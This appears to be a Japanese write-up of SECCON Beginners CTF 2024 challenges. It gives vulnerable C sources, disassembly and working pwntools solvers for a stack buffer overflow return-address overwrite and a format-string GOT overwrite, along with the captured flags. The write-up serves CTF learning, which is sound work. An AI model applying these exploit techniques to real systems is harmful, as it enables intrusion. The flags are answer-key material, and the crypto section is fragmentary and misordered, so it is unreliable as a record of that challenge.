極めてシンプルにBOFをするだけ。is_adminを0以外で上書きすればTrueになってflagを表示する。

src.c#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[10] = {0};
  int is_admin = 0;
  printf("name:");
  read(0, buf, 0x10);
  printf("Hello, %s\n", buf);
  if (!is_admin) {
    puts("You are not admin. bye");
  } else {
    system("/bin/cat ./flag.txt");
  }
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}
$ nc simpleoverflow.beginners.seccon.games 9000
name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello, aaaaaaaaaaaaaaaa)7 
ctf4b{0n_y0ur_m4rk}

ctf4b{0n_y0ur_m4rk}

simpleoverwrite (Pwnable:easy)

スタックとリターンアドレスを確認しましょう

nc simpleoverwrite.beginners.seccon.games 9001

src.c#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() {
  char buf[100];
  FILE *f = fopen("./flag.txt", "r");
  fgets(buf, 100, f);
  puts(buf);
}

int main() {
  char buf[10] = {0};
  printf("input:");
  read(0, buf, 0x20);
  printf("Hello, %s\n", buf);
  printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18));
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

BOFでスタック上のリターンアドレスをwin関数に書き換える。

0000000000401186 <win>:
  401186:       55                      push   rbp
  401187:       48 89 e5                mov    rbp,rsp
  40118a:       48 83 ec 70             sub    rsp,0x70
  40118e:       48 8d 05 6f 0e 00 00    lea    rax,[rip+0xe6f]        # 402004 <_IO_stdin_used+0x4>
  401195:       48 89 c6                mov    rsi,rax
  401198:       48 8d 05 67 0e 00 00    lea    rax,[rip+0xe67]        # 402006 <_IO_stdin_used+0x6>
  40119f:       48 89 c7                mov    rdi,rax
  4011a2:       e8 e9 fe ff ff          call   401090 <fopen@plt>
  4011a7:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  4011ab:       48 8b 55 f8             mov    rdx,QWORD PTR [rbp-0x8]
  4011af:       48 8d 45 90             lea    rax,[rbp-0x70]
  4011b3:       be 64 00 00 00          mov    esi,0x64
  4011b8:       48 89 c7                mov    rdi,rax
  4011bb:       e8 b0 fe ff ff          call   401070 <fgets@plt>
  4011c0:       48 8d 45 90             lea    rax,[rbp-0x70]
  4011c4:       48 89 c7                mov    rdi,rax
  4011c7:       e8 64 fe ff ff          call   401030 <puts@plt>
  4011cc:       90                      nop
  4011cd:       c9                      leave  
  4011ce:       c3                      ret    

disassembleするとwin関数のアドレスは0x401186。適当に文字列を入れるとreturn toで上書きされた位置を教えてくれるので、それを確認したうえでソルバーを作成。

from pwn import *

io = remote('simpleoverwrite.beginners.seccon.games',9001)
io.recvuntil("input:")
payload = b"aaaaaaaaaaaaaaaaaa" + b"\x86\x11\x40\x00\x00\x00\x00\x00"
io.send(payload)
io.interactive()
$ python3 solve.py 
[+] Opening connection to simpleoverwrite.beginners.seccon.games on port 9001: Done
[*] Switching to interactive mode
Hello, aaaaaaaaaaaaaaaaaa\x86\x11@
return to: 0x401186
ctf4b{B3l13v3_4g41n}

[*] Got EOF while reading in interactive
$  

ctf4b{B3l13v3_4g41n}

simpleoverflow (Pwnable:beginner)

Using a safe prime makes RSA secure, doesn't it?

次のPythonプログラムとその出力が与えられる。

ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}

pure-and-easy (Pwnable:easy)

nc pure-and-easy.beginners.seccon.games 9000

解けなかった問題。FSBでexit関数をGOT Overwriteする問題であることはわかったが、時間内にGOT Overwriteが決まらなかった。安定して刺せるようになりたいものだ。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x100] = {0};
  printf("> ");
  read(0, buf, 0xff);
  printf(buf);
  exit(0);
}

void win() {
  char buf[0x50];
  FILE *fp = fopen("./flag.txt", "r");
  fgets(buf, 0x50, fp);
  puts(buf);
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}
$ checksec chall
[*] '/CTF/SECCONB2024/pure-and-easy/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

GOTのアドレスを確認。

$objdump -d -M intel ./chall | grep exit
00000000004010b0 <exit@plt>:
  4010b0:       ff 25 8a 2f 00 00       jmp    QWORD PTR [rip+0x2f8a]        # 404040 <exit@GLIBC_2.2.5>
  40133c:       e8 6f fd ff ff          call   4010b0 <exit@plt>

GOTは0x404040。

gdb-peda$ vmmap
Start              End                Perm      Name
0x00400000         0x00401000         r--p      /CTF/SECCONB2024/pure-and-easy/chall
0x00401000         0x00402000         r-xp      /CTF/SECCONB2024/pure-and-easy/chall
0x00402000         0x00403000         r--p      /CTF/SECCONB2024/pure-and-easy/chall
0x00403000         0x00404000         r--p      /CTF/SECCONB2024/pure-and-easy/chall
0x00404000         0x00405000         rw-p      /CTF/SECCONB2024/pure-and-easy/chall
0x00007ffff7c00000 0x00007ffff7c28000 r--p      /usr/lib/x86_64-linux-gnu/libc.so.6 (deleted)
0x00007ffff7c28000 0x00007ffff7dbd000 r-xp      /usr/lib/x86_64-linux-gnu/libc.so.6 (deleted)
0x00007ffff7dbd000 0x00007ffff7e15000 r--p      /usr/lib/x86_64-linux-gnu/libc.so.6 (deleted)
0x00007ffff7e15000 0x00007ffff7e16000 ---p      /usr/lib/x86_64-linux-gnu/libc.so.6 (deleted)
0x00007ffff7e16000 0x00007ffff7e1a000 r--p      /usr/lib/x86_64-linux-gnu/libc.so.6 (deleted)
0x00007ffff7e1a000 0x00007ffff7e1c000 rw-p      /usr/lib/x86_64-linux-gnu/libc.so.6 (deleted)
0x00007ffff7e1c000 0x00007ffff7e29000 rw-p      mapped
0x00007ffff7fa9000 0x00007ffff7fac000 rw-p      mapped
0x00007ffff7fbb000 0x00007ffff7fbd000 rw-p      mapped
0x00007ffff7fbd000 0x00007ffff7fc1000 r--p      [vvar]
0x00007ffff7fc1000 0x00007ffff7fc3000 r-xp      [vdso]
0x00007ffff7fc3000 0x00007ffff7fc5000 r--p      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 (deleted)
0x00007ffff7fc5000 0x00007ffff7fef000 r-xp      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 (deleted)
0x00007ffff7fef000 0x00007ffff7ffa000 r--p      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 (deleted)
0x00007ffff7ffb000 0x00007ffff7ffd000 r--p      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 (deleted)
0x00007ffff7ffd000 0x00007ffff7fff000 rw-p      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 (deleted)
0x00007ffffffde000 0x00007ffffffff000 rw-p      [stack]
0xffffffffff600000 0xffffffffff601000 --xp      [vsyscall]

0x404040はrw-pで書き込み権限あり。

winのアドレスは0x401341なので、exitのGOTの0x404040の値を0x401341に書き換えればいいことになる。

ここからFSBの書式を計算したりして作っていたが、時間内に上手く刺さるものが作れなかった。

競技終了後にwriteupを参照すると、pwntoolsにfmtstr_payloadというFSBのペイロードを自動作成してくれる機能があったようだ。これを使って組んでみた。

from pwn import *

context.arch = "amd64"
context.endian = "little"
context.word_size = 64

io = remote('pure-and-easy.beginners.seccon.games',9000)
#io = process('chall')
io.recvuntil(b"> ")
exitGOT = 0x404040
win = 0x401341
payload = fmtstr_payload(offset=6, writes={exitGOT:win},write_size="short")
io.send(payload)
io.interactive()

こんなに簡単にできてしまうのか。実行するとflag「ctf4b{Y0u_R34lly_G0T_M3}」を取得できる。

Welcome (Welcome)

Welcome to SECCON Beginners CTF 2024!

フラグはDiscordサーバのannouncementsチャンネルにて公開されています!

ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}